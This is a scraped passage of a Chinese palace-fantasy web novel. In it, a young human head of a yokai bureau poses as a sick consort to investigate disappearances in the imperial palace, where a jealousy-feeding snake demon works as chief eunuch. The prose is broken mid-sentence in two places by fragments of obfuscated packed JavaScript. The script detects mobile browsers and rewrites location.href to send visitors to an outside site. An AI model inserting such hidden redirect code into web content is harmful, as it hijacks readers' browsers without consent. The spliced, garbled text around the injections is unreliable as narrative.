《吾家小狗已登基》 1. 宫中无妖(已修) 熙和二年,六月初九。 傍晚一场疾雨,堪堪浸湿了几片青瓦便悄然散去,暑热卷土重来,一直闷到后半夜才勉强消停,此时阖宫寂静,连恼人的虫儿都歇下了,唯有一抹黑影奔走于宫墙殿宇之间,形如鬼魅,迅疾如风。 黑影飘然而下,转瞬间掠至蓬莱宫正殿屋顶,快走几步停在垂脊中段位置,蹲下寻摸一阵后,小心翼翼揭开一片鎏金铜瓦。 一缕金光如剑,瞬间从瓦片下迸射而出。 黑影连忙侧身一滚,险险避开这道金光,顺势趴伏于屋脊下,轻轻吐出一口气。 恰在此时,一串整齐的脚步声从宫门外传来。 黑影身形一顿,不再逗留,翻身纵跃而起,一脚踩上屋脊梢头骑凤仙人的脑门儿,然后猛地往下一坠,如同一只蝙蝠般贴在檐下,藏得严严实实。 黑影刚藏好,巡夜的羽林卫便进了蓬莱宫。 他们四人为一小队,皆是身披轻甲腰悬宝剑的年轻儿郎,刚一踏进蓬莱宫,四人脚步便不自觉地放到最轻,像是生怕惊扰到宫中贵人。 快速绕着蓬莱宫巡视了一圈,四人小队匆忙离去,没有人出声,也没有人发现吊在屋檐下的黑影。 待人走远了,黑影才腾身而起,大喇喇坐到横梁上,扯开蒙面的黑巾,露出一张明媚中带着几分英气的脸,正是奚萦。 奚萦抬手扇了扇风,吐出一口气,又取下腰间一柄青玉短剑,挟在指尖绕来绕去,像是在转笔杆玩,半晌后,她小声嘟哝道:“这地方也太干净了吧,真的是皇宫吗?” 是的,太干净了,没有半丝怨气妖气鬼气,干净得像是仙家福地,而非寂寂深宫。 片刻后,又一队巡夜的羽林卫来到宫门外,脚步声渐近,眼看着就要巡视到她所在的地方。 奚萦郁闷,弹了弹青玉短剑,剑柄上一点微芒亮起,勾勒出一个威风凛凛的狼头,她笑了笑,小声道:“富贵儿,帮我盯着蓬莱宫。” 无人回应,奚萦也不需要谁回应,抬手将青玉剑往房梁上一扔,拉上面巾化作一缕清风,转眼间消失在宫墙后。 羽林卫终于走到这一处檐角下,依然无人出声,四个年轻侍卫似乎连呼吸都不敢太重,脚步也尽量收敛着,快速巡完了这一处,鬼撵似的出了宫门,四人齐齐松了口气。 “呼,总算出来了。” 见同伴如此,面容稚气的少年侍卫不解道:“蓬莱宫怎么了?王大哥你们在害怕什么?” 被称为王大哥的侍卫轻轻踹了这少年一脚,示意他赶紧走,边走边压低了声音解释道:“你小子新来的不知道,上个月孙威被革职,就是因为晚上在蓬莱宫巡夜的时候咳嗽了几声,吵醒了皇上,这不,你小子才有机会顶了这个缺。” 少年侍卫恍然大悟,又有点不敢置信:“陛下耳朵这么灵?” 王大哥抬手敲了他一下:“不得妄议圣上!” 几人轻手轻脚地走远了,而他们方才经过的屋檐下,微弱的光芒熄灭,名叫富贵儿的青玉短剑默默藏入了夜色中。 * 奚萦轻车熟路飘回长夏宫,偌大的正殿只剩一盏孤灯微亮。 守门的小太监孙胡正靠着廊柱打盹儿,脑袋点得一下比一下狠,眼看着就要栽个狗啃屎,不知从何处吹来一阵微风,将他的脑袋轻轻一托,稳稳靠在柱子上,这下睡得更安心了些。 奚萦收回手,光明正大地从孙胡面前经过,走进灯火微黯的宫室。 四面门窗紧闭,内室却凉爽得出奇,奚萦长出一口气,再也忍受不了这身又闷又厚的夜行衣,边走边扯开衣带,三下五除二将自己脱得只剩一身凉爽的素白鱼牙绸内衫,她身段纤长劲瘦,被昏暗的烛光镀上一层朦胧光晕,整个人顿时散发出刚柔并济的和谐美感。 奚萦将解下的外衫随手一抛,恰恰好罩住竹席上四脚朝天肚皮滚圆的胖橘猫。 “喵喵……” 橘猫睡得正香,冷不防被黑云罩顶,吓得一个激灵翻身坐起,认出叉腰怒视自己的人是奚萦时,胖脸上立马露出讨好的笑。 “司主,您回来啦?查到什么了吗?” 奚萦冷哼一声,捏着猫脸数落道:“发财啊发财,我让你跟那猴子看家,你俩是在梦里给我看的家吗?还敢变成原形,生怕你家司主藏得太好是吧?” 橘猫讪笑,鼓着腮帮子用力哼哼了两声,嘭地一下变成个十三四岁的黄裙少女,圆圆的脸蛋圆圆的眼睛,眨巴眨巴使劲儿卖萌。 奚萦翻了个白眼,用力揉了一把少女头顶的猫耳朵,将人拎开,自己往凉席上一躺,哀怨道:“查到个屁!蓬莱宫的阵法极厉害,强闯不行,其他地方也没有任何妖邪之气残留,啧,这皇宫比你的脸都干净。” 发财欢快道:“那太好了!司主咱们换个地方查吧,我觉得西市比较可疑!” 奚萦见她哈喇子都快淌到脚背上,没好气地哼道:“西市的烧鸡可疑,还是炸小鱼可疑?” 发财嘿嘿傻笑,蹲到榻边,一脸讨好地帮奚萦捏肩捶腿,继续劝道:“老司主不让您来雍都,您偏要来,还非得往皇宫里钻,这地方多危险啊,要不咱们还是尽早离开吧。” 提到过世的师父,奚萦眼中泛起一抹哀思,默了默才低声道:“有本事你去底下跟她告状……不是我非得往皇宫里钻,是这皇宫太可疑了啊,妖务司这十年间积压了二十五件失踪悬案,其中二十件是跟皇宫有关系的,失踪妖不是曾去过皇宫,便是最后出现的地点在皇宫,更何况……唉算了,你这笨猫就知道吃,乖乖听话,司主我让你干什么你就干什么,知道吗?” 发财不情不愿地“哦”了一声,又埋怨道:“都怪那老牛鼻子和秃毛鸡,欺负司主年纪小,故意把这些查不出来的悬案丢给司主!老司主啊,您在天有灵的话,今晚务必变成恶鬼去拔了这俩老妖的毛!” 奚萦失笑,拍拍发财的小胖手鼓励她多咒几句,思绪却不由得飘远了。 她师父无念乃是妖务司上一任司主,半年前无念病逝,将司主之位传给了她,但部分长老对此十分不满,处处使绊子,想逼迫她退位,交出司主令,于是便翻出了这堆陈年悬案丢给她,美其名曰,这是对未来司主的考验。 好吧,妖务司总管天下妖族事务,继任司主,确实需要通过考验才行,不过前两任司主的考验都是用拳头,到她这里就改用脑子了,这可真是没处说理去。 再则,无念去得突然,临死前除了将司主令交给奚萦之外,只来得及叮嘱一句“不可去雍都”,这些老家伙明知此事却还故意让她来雍都查案,摆明了不安好心!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232539|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当然,老家伙们总能拿出冠冕堂皇的理由:妖务司司主须由皇帝亲授,新司主继任,去见见皇帝也是理所应当之事。 这条规矩早已名存实亡,概因妖族寿命悠长,妖务司成立至今已逾千年,奚萦不过第三任司主,人间的皇朝却已经由大夏变成大雍,前朝太祖定下的这条规矩,也不知道是否传给了当今皇帝。 反正无念当司主的这三百年间,从未搭理过皇帝老儿。 而这些喜欢用拳头说话的老妖们之所以搞出了这场弯弯绕绕的大戏,究其根本,只因奚萦是个人类,而司主令一旦认主便无法强抢。 想到这一摊子烦心事儿,奚萦不禁哀叹一声,仰躺在床上抓狂乱蹬,蹬飞了夜行衣,蹬歪了凉席,轻薄的绸纱裤蹭了上去,露出一截玉白的小腿。 发财见不得自家司主这邋遢样儿,赶紧起身收拾散落的衣服,又细心整理好奚萦的裤腿衣襟,嘟囔道:“您就知道数落我,自己还不是一进门就没个人样儿,也不怕被人发现了……” 奚萦假装没听见,烙饼似的在榻上腾挪翻转,折腾到筋疲力尽后,才抓过发财,枕着大胖猫睡下。 * 次日一早,奚萦睡得正香,耳边响起一阵细碎的念叨,紧接着鼻子也被人捏住,她恼得不行,一巴掌拍开脸上那只胖爪子,愤愤道:“臭发财,别闹我。” 发财急得差点挠人,强行掰开奚萦的眼皮,咬牙道:“娘娘,金内侍带着太医已经在外面候着了,您再不起来就露馅儿了!“ 这声陌生的“娘娘”终于唤醒了奚萦,她艰难坐起身,抬头望房顶,好吧,差点忘了,她现在可是沈嫔娘娘,进宫半个月,病了十来天,今天又该看大夫了。 “金内侍?谁啊?唉,早知道三天就得请一次御医的话,我就不装病了……” 发财麻利地替她更衣,闻言撇撇嘴:“蓬莱宫的太监总管啊!您昨晚,该不会被发现了吧?” 奚萦蹙眉:“不可能……” 发财帮她穿好衣服,仔细检查了一番又蹙眉道:“哎您这脸太白了些,原本的沈姑娘久病缠身,小脸蜡黄蜡黄的。” 奚萦赶紧调整内息,逼退脸上血色,发财将窗帘拉得严严实实,内室顿时光线昏暗,只留下一盏昏黄的烛火在床头,如此一来,照得奚萦脸色发黄,足以糊弄过去了。 收拾妥当后,发财快步离开,唤外间候着的孙胡将人请进来,自己则带着另外几名小宫女去隔间沏茶。 奚萦躺在床帐中,忍不住开始回想昨日夜探蓬莱宫之行,从头到尾捋了一遍,并未发现自己有何疏漏的地方,再轻点左手无名指感应青玉短剑富贵儿的情况,察觉到它仍旧安安稳稳地藏在房梁上,她心下稍安,只是仍旧想不通那金内侍为何忽然来长夏宫。 算了,先糊弄过去再说,总不至于是来赐她一丈红的。 正胡思乱想的时候,奚萦腰侧忽然一热,吓得她差点从床上弹起来。 与此同时,脚步声由远及近,孙胡领着一位须发皆白的老太医,一位白面无须的中年内侍进了殿,轻声唤道:“娘娘,金大人奉陛下之命,带李院使来替您诊脉了。” 奚萦摸了摸腰间滚烫的司主令,唇边勾起一个饶有兴味的笑。 妖?这是自己送上门来了? 2. 求你们谈个恋爱吧(已修) 妖务司总管天下妖族,司主令不仅是司主身份的象征,也是一件极其厉害的法宝,其中一个功能便是感应妖气。 此时进入内殿的三人,猴妖孙胡是自家妖,不会引起司主令的格外注意,金内侍和李院使都是第一次见,两人中必然有一人是妖。 查了半个月都没进展,奚萦忍不住怀疑这宫里真是什么不生妖邪的佛门净土道家圣地了,原来是藏得深啊。 她打起精神,轻咳一声后虚弱地开口:“多谢陛下惦念,唉,只是本宫这身子实在不争气……” 说到这里,奚萦伸手掀开帘帐,打算好好看看是哪个傻大胆的小妖撞到她手里来了,刚伸手又想起自己是病弱的“沈嫔娘娘”,她赶紧唤道:“孙胡,扶本宫起来。” 太医替宫中妃嫔诊脉一般都隔着帘帐,娘娘们容貌金贵,自是不能让外人随意瞧了去,沈嫔忽然要露面,倒是让李院使略微有些吃惊。 一旁的金内侍却面上一喜,竟一步上前,抢过孙胡的差事,殷勤地替奚萦拉开帐幔,伸手去扶:“娘娘您别劳动,奴才扶您起来。您病了这几天,陛下一直记挂着呢,今早一睁眼便叮嘱奴才来探望娘娘,您可是陛下心尖上的人儿啊!” 金内侍信口胡说一通,手已经扶上了奚萦的胳膊,趁着微弱的烛光,终于看清了“沈嫔”的样貌。 倒真是一位惹人怜爱的病美人。 除此之外也无甚出奇的地方,不过这位“沈嫔”家世显赫,其父乃是礼部尚书沈唯清,一进宫便得封嫔位,入主长夏宫,更难得的是,蓬莱宫那和尚竟然真记得这么个人! 光是这一点,就足够让金内侍激动的了! 要知道如今宫中满打满算就三位妃嫔,皆是先帝定下的后妃人选,先帝驾崩后,太子景辰继位,以守孝为由推迟婚期,拖了一年多,景辰头疾加重,更没有心情纳妃立后,然而皇帝不急大臣急,先帝就景辰这一根独苗,他无后且病重,万一有个什么万一,江山后继无人,这事可就麻烦了,于是满朝文武哭着喊着求着,终于让景辰松口,将先帝定下的三人先后接入宫中。 但景辰被病痛折磨,实在无心后宫,这三人入宫长则半年,短则半月,竟无一人得见天颜,且先前两位只得了美人、才人的封号,唯有沈嫔封了嫔位,入主长夏宫。 所以,今天早上提到沈嫔时,一向寡言的景辰竟破天荒问了一句,金内侍怎么可能不激动呢? 金内侍这会儿心里的小九九翻来绕去,奚萦也同样思绪万千。 刚一碰到这金内侍的手,奚萦便认出了他的真身,妒蛇,以嫉妒为食的妖,道行不超过三百年,还是只小妖,难怪这么傻乎乎的呢。 至于他那胡咧咧的那番话,奚萦根本没放在心上。 妒蛇嘛,为了填饱肚子,总喜欢添油加醋煽风点火,勾起人心中的嫉妒,最好勾得人斗出狗脑子它才高兴。 两人对望一眼,齐齐露出假笑,一番各怀鬼胎的计较后,奚萦坐起了身,金内侍恭敬地立在一旁,总算将舞台让给了李院使。 李院使上前把脉,许久之后,老人家捻着胡须慢声道:“娘娘这是先天的不足,只能慢慢养着,老臣看过娘娘先前用的方子,都是温补养身的,这几日暑热难耐,老臣便将方子里的炮姜、桂枝、人参这三味药略减两分,改为隔日一服,娘娘以为如何?” 奚萦假扮沈家姑娘,自是连她的脉象病症也能一并伪造,至于吃什么药,她没意见,反正她也不会吃。 “嗯,便依李院使的吧。” 李院使刷刷写好方子,一张留档存证,一张交予孙胡,此番差事便办完了。 金内侍笑呵呵插嘴:“对了李院使,娘娘这病既是不耐热性药材,那荔枝可用得?这不昨日刚到的荔枝,陛下就惦记着给长夏宫两位主子送来呢。” 长夏宫除了奚萦外,还住着一位许美人,比奚萦早入宫一个月,因家世不显,只得了个美人的位份。 李院使道:“荔枝性温,娘娘少用些无碍。” 金内侍欢喜道:“如此甚好!陛下特地叮嘱奴才给娘娘挑最大最新鲜的荔枝,哎,那个胖丫头,快拿上来给娘娘瞧瞧。” 长夏宫十来个宫女,唯有发财能担得起“胖丫头”的称谓,此时被金内侍点了名,她不情不愿地端上那盘据说“最大最新鲜”的荔枝,递到奚萦跟前让她过目。 奚萦只看了一眼便“感动”得泪盈于睫,以袖掩面激动道:“没想到,没想到陛下竟如此惦念臣妾……还请金内侍转告陛下,臣妾定然好好养病,早日康复,以报君恩。” 金内侍笑得见牙不见眼,宽慰了奚萦一番方才提出告辞,临走前却有意无意地提了一句:“陛下说许美人也喜欢吃荔枝,可不好让她久等了。” 奚萦笑而不语,目送这条交际蛇捧着荔枝出门,屁颠颠儿地往许美人那里煽风点火去了。 孙胡跟着李院使去抓药,发财将小宫女们打发出去,凑到奚萦身边咬耳朵:“那皇帝不是好人,就这么几颗干巴巴的荔枝也好意思送来,瞧不起谁呢!” 奚萦笑了:“恐怕不是那位神龙见首不见尾的陛下送的,是这条妒蛇自己想搞事呢。” 发财惊讶地瞪圆了眼睛:“妒蛇?您是说这个金内侍?” 奚萦点头,将司主令吊在指尖转圈圈:“对啊,这家伙是条妒蛇,不过道行太浅,又总是待在蓬莱宫,难怪我没探查到呢。” 发财的目光从惊讶转为垂涎:“蛇肉好吃!” 奚萦气得敲她脑门儿:“吃吃吃,你就知道吃!忘了当初为何进的妖务司吗?” 发财小脸一垮:“不就是吃了几只老鼠,几只鸟,还有几条鱼嘛……” “呸,你是把吴郡鼠妖吃绝种了,吃得碧粼江成了死水,还吃了妖务司白鹤长老好几个孙辈,你呀你,吃没开智的东西不会有人管你,你偏要吃妖,得天地造化之眷顾方能修得妖身,怎么能随便吃呢?” 发财不服气:“他们吃人,我吃他们,这叫弱肉强食!” 奚萦幽幽道:“是吗,那我把你烤了蘸辣椒面吃也是天经地义咯?” 发财顿时泄了气:“知道了知道了,以后我吃素总行了吧?多少年前的事了,您还念叨个没完……” 奚萦懒得再说这只绝世凶猫,开始盘算如何坑害,啊不,利用这条妒蛇。 这家伙是蓬莱宫总管,想必在宫里待的时间不短,且又是目前发现的唯一一只妖,半年前失踪的赤狐,一年前失踪的玄鹿,以及两年前失踪瞿如,或许他还曾见过,再加上他能无惧阵法自由出入蓬莱宫寝殿,是个当奸细的好苗子啊…… * 金内侍还不知道自己被人惦记上了,他此时已经变回蛇身,正趴在长夏宫西偏殿院墙外一丛茂盛的蔷薇中,紧闭双眼,鲜红的蛇信子在空气中狂舔,贪婪地汲取着醉人的香味。 啊,是嫉妒的味道! 那种抓心挠肝的妒,跗骨之蛆一般的恨,用尽全身力气才能勉强吞下去的怨,如同醇香的美酒,越是忍耐越是浓郁,越是克制越是芬芳,越是—— 啊,没了?这就没了? 金内侍正吸得飘飘欲仙,结果那嫉妒的情绪竟戛然而止,这就像是饿了半年的人忽然吃上了满汉全席,但刚吃一口就被撤了,这他妈不是要了蛇命了吗! 金内侍整条蛇都贴在墙上,疯狂嗅来嗅去,可惜方才那股浓郁至极的嫉妒已然消散,只剩下一些干巴巴的恨意隐隐飘来,吃进嘴里就跟太阳底下晒了三天的馒头差不多,没意思。 绿绿的小蛇没精打采地瘫了片刻后,变回金内侍的模样,走出花丛招呼上远处等待的小太监们,一路骂骂咧咧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232540|151355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往蓬莱宫去。 * 白日里的蓬莱宫依然安静,比起夜里的幽深诡谲,又添了几分庄严肃杀之气,滑不溜秋的金内侍进了蓬莱宫,也立马变得正经起来。 他放轻脚步,迈过宫门,穿过夹道,沿着回廊一路来到位于蓬莱宫最深处的寝殿。 一路上都在盘算着待会儿如何回话,金内侍并未留意到有一抹极细微的青光在他转过檐角时悄悄落进了后领中。 拨开一重又一重的帐幔,金内侍走到被床帐包裹得如同蚕茧的龙床旁边,挥退侍立在侧的小太监们,他压低声音唤道:“陛下……” 许久之后,床帐内传来一声幽幽的“嗯”,是询问的意思。 金内侍赶紧回话:“陛下,奴才去长夏宫看过沈嫔娘娘了,娘娘不耐暑热,又惦念陛下,为了给陛下缝荷包日夜辛劳,这才引发了旧疾,幸而并不严重,李院使开了方子,说是将养几天便能好。许美人也想念陛下,给陛下做了个扇套,陛下可要瞧瞧?” 床帐里的人没有回答,漫长的沉默将金内侍一颗满怀期待的心提得老高,终于,那个沙哑的声音闷闷道:“不瞧。” 金内侍的心啪嗒落地,碎成了一瓣瓣。 他气得磨了磨后槽牙,嘴唇蠕动起来,开始无声的骂骂咧咧。 臭和尚,死和尚,想他好好一个蛇妖,那边送荔枝,这边送荷包,还不是为了撮合你们风花雪月爱恨情仇一场吗!结果这和尚倒好,天天躲寝宫里不近女色,苍天啊,大地啊,这阖宫的美人们连皇帝的面都见不着,哪里还有心气争,不争的话哪里来的嫉妒,不嫉妒的话,岂不是要饿死他老金? 要不干脆送这和尚出家算了,给他换个荒淫无度的好皇帝,免得天天饿肚子! 唉,都怪那黑心肝的老巫婆,说什么宫中女人最善妒,将他骗进这和尚庙,半年来就没吃过一顿饱的,妈的,他要跑路了! 金内侍一边骂,一边掏出怀里的荷包和扇套,一股脑儿塞进床边矮柜中,哼,这可是他熬了三个晚上缝出来的,特意用了两种不同的针法,臭和尚不瞧也得瞧! 至于被拆穿,去他奶奶的,这两边连面都见不上,连个圆谎的机会都没给他,他怕个锤子啊! 冷不防床帐下伸出一只苍白的手,一把掀开深青色帐幔,露出一张极五官极其俊朗却憔悴不堪的脸。 金内侍吓得一哆嗦,抽屉夹到了手指,他忍着痛问道:“陛、陛下,您,您要起了吗?” 景辰蹙眉看了床边的金内侍一眼,略微抬了抬手臂。 金内侍会意,连忙上前,轻手轻脚地替景辰更衣,主仆俩在沉默中有条不紊地进行起床工作。 景辰不知道金内侍今天神神叨叨地折腾什么,他昨晚略微多睡了半个时辰,精神好了点,早上金内侍说那陈嫔还是徐嫔病了半个月的时候,他多嘴问了句“死了没”,结果这家伙就折腾了好一出大戏。 最近这半年来,景辰的头疾愈发严重了,太医们查不出病因,用过各种方子也不见效,他只能强行忍耐着,头疼和失眠的双重折磨让景辰变得十分敏感暴躁,尤其无法忍受吵闹喧哗,不得不将身边服侍的宫人减到最少。 女人声音尖细,传到他耳朵里就成了钢针,一针一针扎得他脑仁儿生疼,如今蓬莱宫中连宫女都不用了,他更没兴趣管什么后宫。 之所以选中这金内侍当御前总管,就是图他嗓音低沉,勉强听得入耳。 就这样东想西想着,衣服已经换好了,金内侍扶着景辰往外间书房缓步走去,两人各怀心思,都没留意到一点极淡的青光从金内侍袖中飞出,快速贴上景辰腕间。 景辰忽觉手腕传来一点刺痛,像是被虫子叮了一口,他拉开衣袖瞧了瞧,却没看到什么虫子,青筋密布的腕间有一粒极小的血点,他挠了挠便放下衣袖。 3. 只有一条蛇在努力宫斗(已修) 与此同时,正在长夏宫中用早膳的奚萦左手无名指微动,她微一挑眉,略微感应了一下,忍不住露出个狡黠的笑容,成了! 发财见她笑得贼兮兮的,百忙之中抽空问道:“司主,有什么好事啊?” 奚萦瞟了眼吃得满嘴流油的胖猫,十分嫌弃地戳戳她脑门儿:“吃你的吧!” 幸亏还有富贵儿啊,不愧是她的本命剑,剑灵还未化形呢,就能独当一面了,否则光靠这俩缺心眼儿的货,她什么事都干不成。 不过这皇帝还真是个闷葫芦,说话一个字一个字地往外蹦,她听了半天也没听到什么有用的东西,而且这家伙就像屁股底下糊了浆糊一般,在椅子上一黏就是半天不挪位置,奚萦不得不暂时放弃盯他的梢,又催动富贵儿偷摸回到金内侍身上。 金内侍这边也没什么发现,不过蓬莱宫寝殿和书房中确实有浅淡的妖气,应当是妒蛇身上的,此外还有一股清正的外力隐隐压制着一切妖邪煞气,奚萦感应得不太真切,只猜测或许是跟那防护阵法有关。 看来还是得找机会混进蓬莱宫查探,或是把这条蛇抓起来拷问一番。 正盘算着,孙胡取药回来了,一进门就看到桌上那盘荔枝还没人动过,这猴子的眼睛立马亮了,巴巴地望着奚萦,一边咽口水一边道:“娘娘,药已经取回来了,小穗拿去后院熬了。” 孙胡是金丝猴,猴子里最乖巧听话的那种,虽然有点嘴馋,却不像发财那般大胆,馋得再厉害也只是用那双水灵灵的眼睛无声祈求着,没奚萦的允许绝不会伸手,明明口水都快憋不住了,却还兢兢业业地扮演着自己小太监的角色。 奚萦笑着点头,招手示意孙胡过来,将荔枝推到他面前:“喏,特地留给你的,这会儿没外人,坐下吃吧。” 孙胡俊秀的脸上泛起红晕,高兴道:“谢谢娘娘!” 嘱咐两妖守着外间,奚萦起身去了内室,盘腿坐到铺着凉席的矮榻上,开始打坐修炼。 奚萦一出生便被弃于郊野,无念捡到了她,又见她根骨奇佳,便收做了徒弟,她三岁洗髓成功,此后无论习武还是学术法皆是一日千里,十六岁时便成为妖务司中仅次于无念的高手。 这也是为何她身为人类却能继任司主之位的重要原因,少数几个老顽固虽然不满,也只敢找些冠冕堂皇的理由来阻拦她。 妖族,绝大多数时候都是靠拳头说话的。 奚萦的厉害也并非只在于天赋,从记事开始,她不是在练武就是在打坐,无论寒暑冬夏,从未偷懒过一天。 无念是个极其严厉的师父,因着早年曾受过重伤,她或许自知命不久矣,故而总是抓紧所有时间教导奚萦,奚萦记忆中的师父沉默寡言,难得开一回尊口,通常也只是冷冰冰的一句“你太弱了”。 直到十六岁那年,奚萦一人单挑了整个孽镜堂的大妖,斩断了堂主日及老牛一只牛角,妖务司中再没有妖敢招惹她。 当年少女浑身浴血,抓着牛角跪在丹霄阁外的石阶上,总算换来无念一个转瞬即逝的笑容,从此以后再没说过她弱。 往事如风拂过心间,激起几缕涟漪,又很快被奚萦抚平,她收敛心神进入冥想状态,如游鱼入海般,畅快地吐纳着天地灵气。 行气两个周天后,孙胡的声音传来:“娘娘,许美人来探望您了。” 奚萦睁眼,朝孙胡递了个询问的眼神过去。 孙胡小声道:“奴才回来的时候遇到许美人了,她问起您的病情,又说要来探望,没想到还真来了。” 许美人住在长夏宫西殿,倒是个热络的性子,奚萦入宫第一天就来见过,之后也来过几次,但奚萦夜里要出去探查皇宫,白日要修炼休息,次次都称病不见,闭门羹吃多了,许美人也就没再来过。 今天这又是唱的哪一出?莫非是为了妒蛇送来的一盘荔枝? 奚萦原本不想将修炼的时间浪费在跟陌生人见面上,但又担心那条妒蛇在许美人身上动了什么手脚,她略想了想还是吩咐孙胡:“将人请进来吧。” 孙胡应声离开,很快便带着一位身着洋红洒金罗裙的美人和两名小宫女掀帘而入。 “沈姐姐可好些了?几日不见,叫妹妹好生惦念呢。” 美人肤白胜雪,明眸皓齿,一开口更是如珠玉落盘,好听得紧,足以让人忽略这话中的虚情假意。 奚萦侧躺在床上,对许美人勉强一笑,轻声道:“老毛病了,有劳许妹妹记挂,我乏得厉害,不能起身迎你,妹妹见谅,快请坐吧。” 许美人顺势坐到床边锦凳上,腰背挺直双手拢起,似乎生怕碰到奚萦,沾染上病气。 奚萦假装没看见,非得碰一碰这许美人,眼疾手快地往人手背上一拍,故作亲热道:“许妹妹皮肤白个子高,穿这身烟罗纱可真漂亮。” 身体相触的刹那,许美人僵了僵,但很快放松下来,不动声色地抬手撩了下发梢,避开奚萦:“沈姐姐过奖了。对了,蓬莱宫的金内侍早间送了荔枝来,妹妹尝着不错,想着姐姐整日喝药,嘴里清苦,刚好借花献佛一回,送来给姐姐尝尝。” 侍立在旁的小宫女赶紧将手里的竹篮打开,露出里面的白瓷盘,盘中装着十几颗荔枝。 奚萦碰到许美人手背时,快速查探了一番,没有发现妖气残留或是别的异常,放了心,便不耐烦继续这种干巴巴的应酬,只随意扫了一眼小宫女手中的荔枝,笑着道了声谢,让孙胡收下了。 许美人却是一直紧盯着奚萦的表情动作,见她不说自己有没有收到荔枝,也没露出任何吃惊、嫉妒或是生气之类的情绪,不禁略微有些气馁。 赶在许美人开口前,奚萦假咳几声,打算送客了。 然而许美人却假装没看见,继续道:“听说皇上头疾愈发严重,已经好几个月未曾上朝,如此还能惦记着遣人来探望姐姐,倒是难得,说来妹妹也是沾了姐姐的光呢。唉,陛下如此厚爱,咱们合该亲自去蓬莱宫探病谢恩才是啊。” 她美目轻移,扫过奚萦苍白的脸,似是意识到说错话了,连忙扯出一抹歉意的笑:“是妹妹的疏忽,姐姐病中不便出门,不如就由妹妹代劳,替姐姐谢恩吧。” 奚萦静静看她表演,末了笑道:“好啊,那就有劳妹妹了。” 许美人这次笑得真诚了许多:“姐姐客气了。那妹妹就不打扰姐姐养病,您好好歇着,妹妹告辞。” 看着许美人雀跃的背影,奚萦失笑,这姑娘的心思还真是直白,希望被蓬莱宫那位赶出来的时候别哭鼻子啊。 许美人离开后,发财回来了,见孙胡又得了一盘荔枝,正吃得开怀,她趁其不备伸爪往孙胡头顶挠了一把,将人吓得原地弹起,差点打翻了盘子,贱爪猫又坏笑着冲人扮鬼脸,气得孙胡躲去了偏殿书房。 奚萦懒得管他们胡闹,继续打坐修炼。 但发财却是个闲不住的,一边趴在奚萦腿边抠她衣带,一边嘟囔:“那个许美人是不是被妒蛇迷惑了?竟敢打着您的旗号去蓬莱宫,真是好大的脸啊。” 奚萦闭着眼幽幽道:“妒蛇没在她身上用妖术,她是自己想去的。去就去吧,要是用这招能见到皇帝的面,我早就去了。” 发财撇嘴:“司主,您说这皇帝到底得的什么病啊,天天躲在蓬 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许美人沉着脸不说话,替她撑伞的宫女银霜怒骂拦人的羽林卫,时值正午,烈日炎炎,双方火气都挺大,只听那年轻的侍卫硬邦邦回道:“已经遣人前去通传,还请许美人稍等。” “大胆!竟敢让我们美人站在宫门口等!” “许美人恕罪,未得皇上准许,属下不敢放任何人进蓬莱宫。”尤其是女人,他在心里默默补充了一句。 “你!你好得很!” 幸好这时金内侍过来了,年轻侍卫赶紧退到一旁。 金内侍满脸堆笑,眼角的褶子扎堆,将本就不大的眼睛挤得没地儿站了,冲许美人行礼后,他殷勤地接过宫女手中的伞,轻声细语道:“哎呀,辛苦美人跑这一趟,这些侍卫年纪小不懂事,也不知道帮您撑着伞,您勿怪。陛下知道美人的心意,很是感动呢,只是陛下昨晚休息不好,今日容色憔悴了些,不愿美人见了伤心,只能劳烦您过几日再来了。” 许美人面露失望,哀声道:“这样啊……也是我太想念陛下,考虑不周了,空着手就来谢恩,下次亲手做些陛下爱吃的送来,方显诚心。” 金内侍大喜,这许美人果然上道! “美人真是有心了,陛下知道定然欢喜。” “那金内侍不妨跟本宫说说,陛下平日里都喜欢吃什么……” 两人可谓是一拍即合,金内侍更是知无不言,不知不觉就把景辰的饮食喜好、作息时辰、头疾情状这些消息卖了个一干二净,一旁的侍卫听得傻了眼。 送走依依不舍的许美人,金内侍喜滋滋地回蓬莱宫,打算再去景辰面前编排,啊不,说和说和,定要让这小和尚早开色戒才行! 景辰正在看奏折,沅江溃堤,水患肆虐江南,当地官员赈灾不利,致使流民北上,途径姚州时,流民汇聚,更是直接攻破了城门,一本本折子全是哭穷求救互相推诿的,看得他眉头紧锁,本就苍白的脸色隐隐透出两分青,加上头疼欲裂,整个人正处于暴怒的边缘。 金内侍却是条心里只装着情情爱爱的蛇,远在天边的洪水冲不垮他当红娘的壮志,他一进门便腻着嗓子道:“陛下,许美——” “闭嘴!滚!” 景辰显然是心情极差,竟然一次性用了三个字骂他。 金内侍被骂得傻眼了,顿了片刻才灰溜溜退到书房外。 他心里那个气啊,眼看着上好的食材上门了,这刚点起灶火呢,臭和尚就给他的锅掀了,金内侍气得牙痒,他恨恨发誓,必须跑路,他现在就去收拾东西跑路! 4. 妖市黑店(已修) 转眼间暮色已至,作为一条有职业道德的蛇,金内侍站好了最后一班岗,他伺候景辰洗漱更衣,替他铺好床拉严实帐子,这才开始在蓬莱宫中四处搜寻。 带着一分不舍九分激动的心情,金内侍一路摸过去,找出了一堆香囊、剑穗、抹额、绣帕、手抄经书甚至还有两本大胆奔放的春宫图。 这些都是他熬了无数大夜弄出来的心血啊,可不能继续丢在这里暴殄天物了! 